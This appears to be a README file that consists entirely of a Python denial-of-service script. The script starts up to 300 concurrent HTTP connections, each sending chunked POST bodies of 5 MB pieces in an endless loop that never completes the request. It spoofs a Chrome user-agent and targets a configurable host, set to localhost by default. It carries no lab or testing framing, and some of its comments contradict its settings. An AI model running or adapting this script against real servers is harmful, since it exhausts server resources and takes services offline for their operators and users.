README.md
Rendering markdown...
import http.client, time, threading
HOST = "127.0.0.1"
PATH = "/"
SCHEME = "http" # or "https"
CHUNK_SIZE = 5*1_048_576 # 5 or 10 MB per chunk is good
INTERVAL_SEC = 10 # start one request every 3 seconds 10 is good too
MAX_CONCURRENCY = 300 # cap in-flight requests
def send_one(i: int):
Conn = http.client.HTTPSConnection if SCHEME == "https" else http.client.HTTPConnection
port = 443 if SCHEME == "https" else 8081
conn = Conn(HOST, port)
try:
# Request line + headers
conn.putrequest("POST", PATH)
conn.putheader(
"User-Agent",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
)
conn.putheader("Transfer-Encoding", "chunked")
conn.putheader("Connection", "keep-alive")
conn.putheader("Content-Type", "application/octet-stream")
conn.endheaders()
buf = b"x" * CHUNK_SIZE
while True:
nsend = CHUNK_SIZE
# header: "<hex-size>\r\n"
conn.send(f"{nsend:x}\r\n".encode("ascii"))
# body: reuse buffer; slice avoids extra allocation on the last chunk
mv = memoryview(buf)[:nsend]
conn.send(mv)
# terminator: "\r\n"
conn.send(b"\r\n")
conn.send(b"0\r\n\r\n")
r = conn.getresponse()
r.read() # drain response
print(f"{time.strftime('%X')} [req {i}] -> {r.status} {r.reason}")
except Exception as e:
print(f"{time.strftime('%X')} [req {i}] ERROR: {e}")
finally:
conn.close()
def main():
i = 0
active = set()
lock = threading.Lock()
next_run = time.monotonic()
try:
while True:
now = time.monotonic()
if now < next_run:
time.sleep(next_run - now)
next_run += INTERVAL_SEC
# cleanup finished threads
with lock:
for t in list(active):
if not t.is_alive():
active.remove(t)
if len(active) >= MAX_CONCURRENCY:
print(f"{time.strftime('%X')} skip: concurrency {len(active)} >= {MAX_CONCURRENCY}")
continue
t = threading.Thread(target=send_one, args=(i,), daemon=True)
active.add(t)
t.start()
i += 1
except KeyboardInterrupt:
print("\nStopping… waiting for in-flight requests.")
for t in list(active):
t.join()
if __name__ == "__main__":
main()